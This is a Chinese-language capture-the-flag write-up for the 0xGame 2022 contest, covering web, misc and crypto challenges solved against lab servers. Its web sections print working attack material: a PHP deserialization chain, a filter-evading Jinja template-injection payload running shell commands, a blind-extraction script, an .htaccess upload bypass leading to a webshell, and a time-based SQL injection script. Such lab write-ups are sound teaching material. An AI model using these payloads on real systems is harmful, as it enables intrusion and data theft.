0xGame 2022 Writeup

南邮新生赛

web 理所当然 ak 了, 不过 java 题学到了很多

misc ak 只坚持到了第三周, 第四周真的做不动了…

crypto 之前从来没接触过, 这次能全部 ak 是我没想到的

pwn 和 re 因为自己不是搞这个方面的, 所以几乎没有做

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011859640.png

访问 /flaggeeee

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011859671.png

提示 local access only

改一下 xff 头

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011900295.png

继续访问 /re3l_flag

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011900231.png

cookie 改成 login=1

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011900597.png

改成 post 请求

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011900479.png

robots.txt 内容为 flag in FFFFl3gggg.txt

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011900888.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011900189.png

猜一下 login.php

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011900346.png

生成五位数 00000-99999 的字典 然后 intruder 爆破

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011901878.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011901447.png

密码是 01234

登陆后右键

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011901803.png

一眼文件包含

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011901871.png

<?php
error_reporting(0);
highlight_file(__FILE__);

$a=$_GET['param1'];
$b=$_POST['param2'];

$a=preg_replace('/system|eval|preg_replace|create_function|array_map|call_user_func|call_user_func_array|array_filter|usort|uasort|file|content|passthru|exec|shell_exec|popen|proc_open|pcntl_exec|assert/is','',$a);
$b=preg_replace('/cat|tac|tail|nl|more|less|head|flag/is','?Q__Q?',$b);

$a($b);
?>

param1 只 replace 一次, 双写绕过

关键词被过滤用 \ 绕过

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011901374.png

关注小绿草信息安全科创实验室喵, 关注小绿草信息安全科创实验室谢谢喵

零宽字符隐写

https://330k.github.io/misc_tools/unicode_steganography.html

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011901836.png

VmtaV2IySXhUa2RpUm1oT1ZqTm9jMVJWWkRSTlZuQklZMFZrYkdKVldsbFZNalZQV1ZaYWNXSkdiRlZXVjJoTVdWUktUbVZyTVVWTlJEQTk=

一直 base64 解密后得到 flag

0xGame{Inv1sible_W0rds}

这题问了师傅好几次… 后来做出来的时候才发现垃圾邮件的英文不是 junk mail, 是 spam (悲)

key.txt 解密过程: aaencode -> brainfuck -> base64 x2 -> base58 (string) -> base32

P@33w0rD

flag.txt 里面是邮件的内容

一开始还以为是用单词或者标点符号来隐写, 试了 ctf wp writeup misc 邮件 junk mail txt 加解密 隐写 等等关键字一直没搜到…

最后师傅给的 hint 是搜索整个邮件内容

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210042001037.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210042007511.png

https://www.spammimic.com/decode.shtml

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210042007527.png

之后填入邮件内容和 key 就能得到 flag 了

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210042008686.png

0xGame{KFC_CRAZY_THURSDAY_V_ME_50!!!!}

直接 wireshark 打开然后搜一下 0xGame 关键字

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011901326.png

username 和 password 拼起来得到 flag

%7b%7d 转换成 {}

参考文章 http://www.fzwjscj.xyz/index.php/archives/23/

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011901109.png

图像用 stegsolve 处理一下, 看的清楚点

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011902821.png

明文是 0XGAMESTR4NGESCR1PT

flag 是 0xGame{STR4NGESCR1PT}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011902572.png

用 ARCHPR 爆破

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011902577.png

解压后打开

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011902270.png

zip 伪加密

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011902912.png

解压时出现 crc 错误, 不用管

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011902693.png

掩码爆破

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011903819.png

解压后打开

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011903991.png

另外还有一个已知的 lookatme.txt

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011903980.png

先把 txt 压缩

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011903430.png

对比后发现 crc 一致

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011903828.png

猜测为 zip 明文攻击

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011903074.png

保存为 4444_decrypted.zip 解压后打开 flag.txt

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011903747.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011904093.png

飞机编号是 B-7631

图片右键查看属性

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011904327.png

时间是 2022/7/14 17:29

然后去 flightaware 上搜一下

注册账户之后可以免费看近期三个月的记录

https://zh.flightaware.com/live/flight/B7631/history/320

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011904435.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011904429.png

SZX 是机场简称, 城市简称是 SZ

构造 flag 如下

0xGame{LYG_SZX_DZ6242}

学长好帅

简单 rsa

p = 59
q = 97
e = 37
c = 3738
 
请在求出私钥d,明文m后将连接值的md5值(32位小写)包上flag提交
 
如求出d = 12,m = 34,则flag为0xGame{md5(1234)}

参考文章 https://cloud.tencent.com/developer/article/1541523

求 d

import gmpy2

p = gmpy2.mpz(59)
q = gmpy2.mpz(97)
e = gmpy2.mpz(37)
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
print(d)

解出来 d=301

然后通过 pow 求明文

p = 59
q = 97
c = 3738
d = 301
n = p * q
m = pow(c, d, n)
print(m)

解出来 m=5499

flag 就是 0xGame{md5(3015499)}, 即 0xGame{d42b66fc047f9e80922f1a2b11e589c0}

核心价值观编码 http://www.hiencode.com/cvencode.html

阴阳怪气编码 https://jiji.pro/yygq.js/

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011904092.png

摩斯电码

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011904727.png

%u7b%u7d 就是 {}

0w_1qin4wn_d_fr{dl1c_jylpdna3gcy}x1s3j

看了下发现 } 的位置不对, 可能是栅栏密码

试出来 key=5 的时候整体结构是对的

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011905593.png

flag 是 0xGame 开头, 然后开头第一位有 0, 但是其它地方字母都是乱的, 猜测是凯撒移位, 因为凯撒移位只改变字母不改变数字

rot15 时得到 flag

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011905461.png

提交的时候记得把前面的 g 改成大写, 然后括号内的字母全部大写

维吉尼亚密码爆破

https://www.guballa.de/vigenere-solver

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011906052.png

0xGame{V19eneRe_E4sy}

参考文章 https://ctf-wiki.org/crypto/asymmetric/rsa/rsa_module_attack/

猜测可以分解 n 得到 p q

去 factordb 在线分解

http://factordb.com/index.php?query=177726843226591634556244030635816071333

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210041854400.png

之后求 d

import gmpy2

p = gmpy2.mpz(9735957770491659841)
q = gmpy2.mpz(18254685097880877413)
n = p * q

e = 0x10001

c = 49549088434190402681586345733724247189

phi = (p - 1) * (q - 1)

d = gmpy2.invert(e, phi)

print(d)

d = 174553972839251472293209725962845994753

然后求 m

from Crypto.Util.number import *

p =9735957770491659841
q = 18254685097880877413
n = p * q

e = 0x10001
c = 49549088434190402681586345733724247189
d = 174553972839251472293209725962845994753

m = pow(c, d, n)
print(long_to_bytes(m))

we1come_t0_rs4

flag 即 0xGame{we1come_t0_rs4}

仿射密码

参考文章 https://ctf-wiki.org/crypto/classical/monoalphabetic/

逆元不知道咋求… 不过密文肯定是 flag, 包含数字字母下划线还有大括号

然后看了下脚本发现加密方式和 a b 都已知, 干脆直接爆破了

import random
import gmpy2

with open("cipher.txt", "rb") as f:
    cipher = f.read()

a = 27
b = 121

flag = ''

for i in cipher:
    for j in range(32, 128):
        k = (j * a + b) % 128
        if i == k:
            flag += chr(j)
            print(flag)
            break

跑出来的结果是 0xGame{U_kn0w|@^1ot_4bout~Pyth0n}

ida F5

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011906872.png

0xGame{be9d9fee-7d45-4a3e-a105-802b3221665d}

用的 telnet, nc 好像有点问题

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011906983.png

flag{nc_flag}

<?php
highlight_file(__FILE__);

class Apple{
    public  $var;

    public function __wakeup(){
        $this->var->value;
    }

    public function __invoke(){
        echo $this->var;
    }
}

class Banana{
    public $source="pop.php";
    public $str;

    public function __toString(){
        echo file_get_contents($this->source);
        return 'do u like pop?';
    }
 
    public function __construct(){
        $this->source = "flag in flag.php";
        echo 123;
    }
}

class Cherry{
    public $p;
    public $o;

    public function __construct(){
        $this->o = 'pop song';
    }

    public function __get($key){
        ($this->p)();
    }
}


if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}

简单 pop 链构造, 入口点是 Apple 类的 __wakeup

<?php

class Apple{
    public  $var;
}

class Banana{
    public $source;
    public $str;
}

class Cherry{
    public $p;
    public $o;

}

$d = new Banana();
$d->source = 'flag.php';

$c = new Apple();
$c->var = $d;

$b = new Cherry();
$b->p = $c;

$a = new Apple();
$a->var = $b;

echo serialize($a);
http://47.96.3.142:8123/?pop=O:5:"Apple":1:{s:3:"var";O:6:"Cherry":2:{s:1:"p";O:5:"Apple":1:{s:3:"var";O:6:"Banana":2:{s:6:"source";s:8:"flag.php";s:3:"str";N;}}s:1:"o";N;}}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210081409864.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210081410712.png

输入框有 ssti

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210081410621.png

不过输入 {{ config }} 会被过滤, 显示 what’s this?

而直接输入 config 会原样输出

试了下 {% %} 能用, 可以配合 if 语句块来实现盲注

测试的时候发现 class import popen 这几个关键字都被过滤了

绕过 class 关键字可以换成 flask 内置的函数 url_for

import 用字符串拼接绕过, 但是 + 也被过滤了…

然后又找到了另一种方式, 两个字符串连在一起会自动拼接成一个字符串

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210081415550.png

popen 绕过方法同理, 用 __dict__ 来调用, 然后把方括号里的 popen 拆分成两个连在一起的字符串

构造 payload 如下

{%if url_for.__globals__['__builtins__']['__imp''ort__']('os').__dict__['pop''en']('cat /flag').read()[0]=='0'%}testxz{%endif%}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210081428129.png

python 脚本

import requests

url = 'http://47.96.3.142:8888'

flag = ''

for i in range(9999):
    for s in range(32,128):
        payload = r"{%if url_for.__globals__['__builtins__']['__imp''ort__']('os').__dict__['pop''en']('cat /flag').read()[" + str(i) + r"]=='" + chr(s) + r"'%}testxz{%endif%}"
        res = requests.post(url,data={'formula':payload})
        #print('testing',chr(s))
        if 'testxz' in res.text:
            flag += chr(s)
            print(flag)
            break

flag 0xGame{ssti_great_1nter3sting}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210081434207.png

保留文件名上传

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210081435148.png

apache 的服务器, 很容易想到 .htaccess

但是后端检测了 mine 类型, 如果直接在 .htaccess 开头加入 GIF89A 的话访问整个 images 目录下的文件都会爆 500, 估计是语法错误

.htaccess 通过 # 来注释, 后来了解到还有 \x00

想着能不能找到其它不影响 .htaccess 语法的 mine 头来上传文件, 然后找到了这篇文章

https://blog.csdn.net/qq_45570082/article/details/108910162

xmb 图片的文件头如下

#define width 1337
#define height 1337

刚好符合 .htaccess 注释的语法

于是上传之

#define width 1337
#define height 1337
<FilesMatch "xz.xz">
SetHandler  application/x-httpd-php
</FilesMatch>

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210081439917.png

再上传 xz.xz

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210081440663.png

蚁剑连接得到 flag

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210081441061.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210081442006.png

username 处存在注入

过滤了 * and or = substr union group_concat, 剩下的懒得写了…

- 拼接绕过, 当然也能用 ^

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210081444369.png

空格也被过滤了, 用 %0a 绕过, 如果用括号的话不好构造 limit 语句…

payload 如下

admin'-if(mid((select	table_name%0afrom%0ainformation_schema.tables%0awhere%0atable_schema%0alike%0adatabase()%0alimit%0a0,1),1,1)%0alike%0a'%',sleep(2),0)#

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210081446687.png

python 脚本

import requests
import time

url = 'http://47.96.3.142:8101/login.php'

dicts = r'{}0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'

flag = ''

for i in range(1,99999):
    for s in dicts:
        #payload = "admin'-if(mid((select\ttable_name\tfrom\tinformation_schema.tables\twhere\ttable_schema\tlike\tdatabase()\tlimit\t2,1),{},1)\tlike\tbinary\t'{}',sleep(1),0)#".format(i,s)
        payload = "admin'-if(mid((select\tffflllaaag\tfrom\tsecret),{},1)\tlike\tbinary\t'{}',sleep(1),0)#".format(i,s)
        start_time = time.time()
        print(s)
        res = requests.post(url,data={'username':payload,'password':'123'},allow_redirects=False)
        stop_time = time.time()
        if 'Illegal Character Dectected' in res.text:
            print('filtered!!!')
            exit()
        if stop_time - start_time >= 1:
            flag += s
            print('FOUND!!!',flag)
            break

写脚本的时候发现用 %0a 一直跑不出来, 换成 %250a 也一样, 估计是 requests 自动解码… 因为赶着抢一血就临时换成了 \t

跑出来有 0xgame 和 secret 两个表, secret 表中有 ssseccrett 和 ffflllaaag 两个列

查 flag 时每次跑到 _ 字符都会 sleep… 索性就把 _ 去掉了, 改成自己看

辨别方式也很简单, 如果 dicts 里面的内容都被跑了一遍就说明这个位置有 _

flag 0xGame{Y0u_kn0w_the_sq1_Inj3ction}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210091316808.png

后面三个 txt 很小, 想到了 crc 爆破

自己写的脚本速度感人… 于是找了一个现成的工具

https://github.com/theonlypwner/crc32

pas.txt swo.txt rd.txt 的 crc 如下

1e73ceca
002df600
0e201f1c

跑的时候前面记得加上 0x

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210091319128.png

找到符合语义的那一串, 即 You_K

其余同理, 最终 password 如下

You_Know_CRC32

解压后打开 flag.txt

🙃💵🌿🎤🚪🌏🐎🥋🚫😆✅🚫😁ℹ🎈🚨🌊📮😁🔬🌏🍵🚫✖🎅🕹🐘🎈⌨😇🚹☂🚰☀🌿😎😂🐅💵☀💵⌨🤣🚫😇😎☀🤣🚫😀😆🚪😂🦓🌏ℹ🎤🍴👉🎈😇✉⏩🏹🔪🎤🏎🚹🐍⏩💵🎤🚨🚫⌨🎤🌪👑📮✉✉ℹ🍌💵📂😀🗒🗒

emoji 加密, 有 base100 codemoji emoji-aes 三种

前两个都失败了, 试到最后一个的时候发现需要密码, 猜测就是刚刚的 You_Know_CRC32

https://aghorler.github.io/emoji-aes/

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210091325929.png

在线 pyc 逆向 https://tool.lu/pyc/

import base64

def encode(str):
    fflag = '0'
    for i in range(1, len(flag)):
        x = ord(flag[i]) ^ ord(flag[i - 1])
        x += 30
        fflag += chr(x)
    
    return base64.b64encode(fflag)

flag = open('flag.txt').read()
enc = encode(flag)
print enc

自身异或加密, 跟 moectf 有一题差不多

解密脚本如下

content = base64.b64decode(open('out.txt','rb').read())
m = '0'

for i in range(1,len(content)):
    c = content[i] - 30
    m += chr(c ^ ord(m[i-1]))
    print(m)

flag 0xGame{afd9461d-35fb-4e9b-9716-aa83b3ed681a}

wav 后缀, 文件有 14m, 以为另外又塞了些东西, 用 foremost 没出结果, binwalk 提取出来了个 yaffs 文件系统, 然后通过工具解包一直失败…

网上找了一会 wav 隐写的相关工具, 发现了 SilentEye 和 DeepSound

第二个工具找了好久, 最后在这篇文章里找到的

https://chowdera.com/2022/03/202203170451107840.html

首先用 SilentEye 查看隐写内容

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210091925324.png

密码是 15gmzzgnscltcltdz, 一开始不知道有什么用, 后来找到 DeepSound 的时候才发现可以查看隐写的文件

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210091926368.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210091926500.png

flag.txt 内容 0xGame{5d4d7df0-6de7-4897-adee-e4b3828978f8}

用 stegsolve 打开, 在 blue plane 0 中看到 password

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210091835671.png

password 为 0xGameyyds

根据题目描述 R!G!B! 猜测是 lsb 隐写, 不过在 data extract 里面没看出来什么…

网上搜了一下 png 隐写, 出来这篇文章

https://zhuanlan.zhihu.com/p/23890677

参考工具 https://github.com/livz/cloacked-pixel

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210091838947.png

flag 0xGame{Hidd3n_1n_Pic}

hint 为 zip传统的加密方式真的安全吗

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210091955204.png

想起来之前明文攻击的条件也是要求压缩方法为 Store

参考文章 https://www.freebuf.com/articles/network/255145.html

原理就是利用通用的 png 文件头作为部分明文来破解 zip 压缩包

echo 89504E470D0A1A0A0000000D49484452 | xxd -r -ps > png_header
bkcrack -C flag.zip -c flag.png -p png_header -o 0

跑出来三个 key 之后再解密一下

bkcrack -C flag.zip -c flag.png -k ab7d8bcd 6ce75578 4de51c12 -d flag.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210091958584.png

flag.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210092001413.png

用 binwalk stegsolve 过了一遍, 没发现什么东西

于是研究了下 png 隐写的相关文章

https://blog.csdn.net/qq_42880719/article/details/114825260

看到一个修改长宽的技巧, 抱着试一试的态度改了 hex 结果发现成功得到了 flag…

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210092004670.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210092004022.png

equation.py

import random

x = [random.getrandbits(32) for _ in range(32)]

# flag为0xGame{md5(sum(x))}

for i in range(32):
    ans = 0
    rand = [random.getrandbits(32) for _ in range(32)]
    for j in range(31):
        ans += x[j] * rand[j]
        print("x{} * {} + ".format(j, rand[j]), end="")
    ans += x[31] * rand[31]
    print("x{} * {} = ".format(31, rand[31]), end="")
    print(ans)

output.txt

x0 * 2905774839 + x1 * 937692645 + x2 * 2277996359 + x3 * 1574938713 + x4 * 825047075 + x5 * 1179013397 + x6 * 2366890081 + x7 * 3219529440 + x8 * 2414190453 + x9 * 3590757506 + x10 * 3909323650 + x11 * 2183139299 + x12 * 1579902159 + x13 * 3343902869 + x14 * 896068862 + x15 * 309758299 + x16 * 901531607 + x17 * 291291156 + x18 * 2546709881 + x19 * 4221036639 + x20 * 3505720382 + x21 * 3684857351 + x22 * 2022652786 + x23 * 451227475 + x24 * 3741251238 + x25 * 3997408590 + x26 * 2256908756 + x27 * 1334843411 + x28 * 4020591098 + x29 * 2114708609 + x30 * 79808585 + x31 * 2974805697 == 153629905098136685045,
x0 * 633779458 + x1 * 760323050 + x2 * 3524136923 + x3 * 3404961172 + x4 * 3497719477 + x5 * 2036024833 + x6 * 2807481062 + x7 * 3579571169 + x8 * 1182247335 + x9 * 1473703468 + x10 * 1485764830 + x11 * 2344149245 + x12 * 2230867977 + x13 * 451381281 + x14 * 2729949187 + x15 * 1329480928 + x16 * 3036372799 + x17 * 1916707506 + x18 * 1408308101 + x19 * 3414819940 + x20 * 54157456 + x21 * 4081087004 + x22 * 81644901 + x23 * 1046457653 + x24 * 2786986628 + x25 * 3293369990 + x26 * 2547544255 + x27 * 1408426127 + x28 * 1700843152 + x29 * 4028585224 + x30 * 3882199080 + x31 * 4040732992 == 145118376676814378151,
x0 * 1158359552 + x1 * 952473112 + x2 * 2469876874 + x3 * 1877922146 + x4 * 2681754384 + x5 * 441645489 + x6 * 1451082555 + x7 * 1282675826 + x8 * 3628741269 + x9 * 1538367477 + x10 * 4256030398 + x11 * 1551122815 + x12 * 2403304542 + x13 * 1198458285 + x14 * 2596160415 + x15 * 3952532206 + x16 * 1372310735 + x17 * 3735073437 + x18 * 686367724 + x19 * 158982013 + x20 * 1901981688 + x21 * 2045511526 + x22 * 1553141146 + x23 * 574875471 + x24 * 3881193717 + x25 * 281974061 + x26 * 3401680368 + x27 * 1071341816 + x28 * 3856818199 + x29 * 1543037830 + x30 * 2600897676 + x31 * 886793613 == 125136025093969380235,
x0 * 3369804515 + x1 * 1388562875 + x2 * 2620029184 + x3 * 3424874122 + x4 * 2155070368 + x5 * 515581101 + x6 * 3448760104 + x7 * 1571958247 + x8 * 1344632695 + x9 * 3418066835 + x10 * 1055412931 + x11 * 2599736936 + x12 * 1682298601 + x13 * 3888231955 + x14 * 869443630 + x15 * 46802084 + x16 * 1434071143 + x17 * 537999569 + x18 * 3062214567 + x19 * 638588405 + x20 * 1418519591 + x21 * 921851625 + x22 * 1349011403 + x23 * 2504652024 + x24 * 1128409974 + x25 * 825642445 + x26 * 2980848614 + x27 * 3181702547 + x28 * 1665015471 + x29 * 1655900518 + x30 * 1737483004 + x31 * 4058968130 == 123888756483831750489,
x0 * 2992139966 + x1 * 3421209457 + x2 * 1518056473 + x3 * 2934632866 + x4 * 474750728 + x5 * 1888643463 + x6 * 715133241 + x7 * 270269278 + x8 * 3453364309 + x9 * 2375169043 + x10 * 475758667 + x11 * 1550808440 + x12 * 870004412 + x13 * 2502311422 + x14 * 2802347419 + x15 * 3316934713 + x16 * 3072815429 + x17 * 1955447632 + x18 * 957468873 + x19 * 2003306503 + x20 * 2991846576 + x21 * 1052908526 + x22 * 852939089 + x23 * 2001031122 + x24 * 1763364759 + x25 * 318730434 + x26 * 2271963088 + x27 * 3167595340 + x28 * 186065313 + x29 * 3124233301 + x30 * 1558676638 + x31 * 229698311 == 136466432408823062440,
x0 * 880826917 + x1 * 2298353220 + x2 * 13972845 + x3 * 2112342331 + x4 * 520363735 + x5 * 1669676202 + x6 * 2365942382 + x7 * 2454166357 + x8 * 86684296 + x9 * 4180997737 + x10 * 2651800933 + x11 * 3387852337 + x12 * 3569081096 + x13 * 412248780 + x14 * 2622374412 + x15 * 4004737267 + x16 * 3937062327 + x17 * 2122230024 + x18 * 508412261 + x19 * 925290104 + x20 * 2297262392 + x21 * 2615036583 + x22 * 956831662 + x23 * 2377853219 + x24 * 2129964002 + x25 * 711861720 + x26 * 1072575240 + x27 * 290600530 + x28 * 3557322638 + x29 * 1937025602 + x30 * 3942606369 + x31 * 848634526 == 135520634374716138253,
x0 * 1667423245 + x1 * 3205256744 + x2 * 4218058651 + x3 * 4247786171 + x4 * 2902884888 + x5 * 1776716207 + x6 * 57317883 + x7 * 2810845945 + x8 * 4056618058 + x9 * 2442806270 + x10 * 189251210 + x11 * 175454169 + x12 * 1563217423 + x13 * 1584552187 + x14 * 4066113642 + x15 * 2678017765 + x16 * 1370397535 + x17 * 1796075905 + x18 * 3507132543 + x19 * 2375242245 + x20 * 1599167786 + x21 * 3353660587 + x22 * 2792999728 + x23 * 2513875102 + x24 * 3349313992 + x25 * 561973312 + x26 * 131599779 + x27 * 1780045940 + x28 * 181893476 + x29 * 1515423140 + x30 * 1695557088 + x31 * 1103274089 == 140870834889282733787,
x0 * 2924743894 + x1 * 2747685610 + x2 * 703249631 + x3 * 2970835309 + x4 * 1709917538 + x5 * 2326038184 + x6 * 3850628518 + x7 * 1598044999 + x8 * 1230534089 + x9 * 2628050448 + x10 * 560260479 + x11 * 2827469192 + x12 * 1261659178 + x13 * 3473946812 + x14 * 2627319447 + x15 * 2783861426 + x16 * 1814833846 + x17 * 3969833864 + x18 * 4048131215 + x19 * 3849752757 + x20 * 3942527132 + x21 * 3218422785 + x22 * 1568409347 + x23 * 3959466355 + x24 * 2784582743 + x25 * 2996021365 + x26 * 1058302993 + x27 * 360568252 + x28 * 4120475817 + x29 * 612600724 + x30 * 3312442340 + x31 * 2780876242 == 162850348028726438719,
x0 * 1616016662 + x1 * 3654249690 + x2 * 137386530 + x3 * 1430840003 + x4 * 413249034 + x5 * 512756864 + x6 * 4178200879 + x7 * 2530110366 + x8 * 2920225584 + x9 * 3182457452 + x10 * 1705355659 + x11 * 2866496197 + x12 * 4233807177 + x13 * 1885804809 + x14 * 1332101007 + x15 * 511987054 + x16 * 3709126878 + x17 * 1639834513 + x18 * 2331999251 + x19 * 3942139119 + x20 * 3452087731 + x21 * 3059112759 + x22 * 3445769324 + x23 * 128282305 + x24 * 895514710 + x25 * 3973866022 + x26 * 3074206386 + x27 * 2793860989 + x28 * 4208156768 + x29 * 1868752777 + x30 * 1128655300 + x31 * 4224750762 == 173549152139361191182,
x0 * 1507751682 + x1 * 1846572164 + x2 * 2041260497 + x3 * 1124204604 + x4 * 803283004 + x5 * 2783064398 + x6 * 3894553701 + x7 * 1968388652 + x8 * 4001422379 + x9 * 3448449208 + x10 * 3520475047 + x11 * 2550138883 + x12 * 2389210163 + x13 * 126106238 + x14 * 2662172629 + x15 * 4261498421 + x16 * 3044233456 + x17 * 3644778899 + x18 * 870298634 + x19 * 2695223165 + x20 * 1650836877 + x21 * 1258482236 + x22 * 1063099544 + x23 * 3764404492 + x24 * 3967617774 + x25 * 1965577715 + x26 * 2446428246 + x27 * 1505068720 + x28 * 3981692241 + x29 * 3408565448 + x30 * 2781597153 + x31 * 3092390689 == 180393478529485883021,
x0 * 351479342 + x1 * 503524980 + x2 * 1716292026 + x3 * 938189610 + x4 * 3362208287 + x5 * 280354280 + x6 * 2300444836 + x7 * 1468215142 + x8 * 3180887405 + x9 * 2532072979 + x10 * 1652875734 + x11 * 2254901041 + x12 * 259860786 + x13 * 3263784945 + x14 * 483273054 + x15 * 3166504792 + x16 * 914039776 + x17 * 4266192190 + x18 * 1042961273 + x19 * 181336626 + x20 * 669694284 + x21 * 2453653976 + x22 * 1389685958 + x23 * 2284711690 + x24 * 3317847597 + x25 * 2440906291 + x26 * 3042784363 + x27 * 1482188614 + x28 * 2369361990 + x29 * 324426473 + x30 * 1763743995 + x31 * 3934897747 == 117888147215252945859,
x0 * 725022521 + x1 * 938746075 + x2 * 3633113215 + x3 * 4185273958 + x4 * 2800996696 + x5 * 2631729929 + x6 * 2692051893 + x7 * 3433724886 + x8 * 1616354254 + x9 * 3607913532 + x10 * 529812087 + x11 * 2791241832 + x12 * 1737462722 + x13 * 3641411598 + x14 * 1924632655 + x15 * 1616473457 + x16 * 3637886658 + x17 * 1858291856 + x18 * 1078390594 + x19 * 1887741658 + x20 * 2265350830 + x21 * 2676979191 + x22 * 1970124470 + x23 * 664078020 + x24 * 1808737559 + x25 * 2298779415 + x26 * 1388943648 + x27 * 4204667059 + x28 * 1073622448 + x29 * 3443318903 + x30 * 2171824304 + x31 * 1868209557 == 158683608359654647072,
x0 * 650341618 + x1 * 2935581294 + x2 * 2644385881 + x3 * 1535307611 + x4 * 1016591324 + x5 * 815158333 + x6 * 1448798160 + x7 * 2641332727 + x8 * 270686394 + x9 * 2219311183 + x10 * 2967122700 + x11 * 3770872278 + x12 * 3541712142 + x13 * 3868017641 + x14 * 3555690826 + x15 * 802632927 + x16 * 3680835829 + x17 * 682966028 + x18 * 1194680003 + x19 * 894072837 + x20 * 1878364070 + x21 * 1331140614 + x22 * 965880101 + x23 * 1138566143 + x24 * 701720887 + x25 * 2742737986 + x26 * 3045938774 + x27 * 147247760 + x28 * 4094028215 + x29 * 204167974 + x30 * 3200135673 + x31 * 27026610 == 119553298425410260470,
x0 * 3264996808 + x1 * 2331472878 + x2 * 2992654618 + x3 * 1337387837 + x4 * 3068330431 + x5 * 1897134387 + x6 * 2124686830 + x7 * 433732986 + x8 * 560852756 + x9 * 569523526 + x10 * 1635729292 + x11 * 3899076223 + x12 * 2599433468 + x13 * 2525044550 + x14 * 3233393817 + x15 * 1990368374 + x16 * 8003701 + x17 * 1649870439 + x18 * 429808458 + x19 * 2788914187 + x20 * 3183669167 + x21 * 4029467918 + x22 * 1823857717 + x23 * 3493646301 + x24 * 1619264007 + x25 * 1485689524 + x26 * 1136226577 + x27 * 2403749534 + x28 * 4188551850 + x29 * 19971766 + x30 * 3514606027 + x31 * 2659730746 == 129283893341689770873,
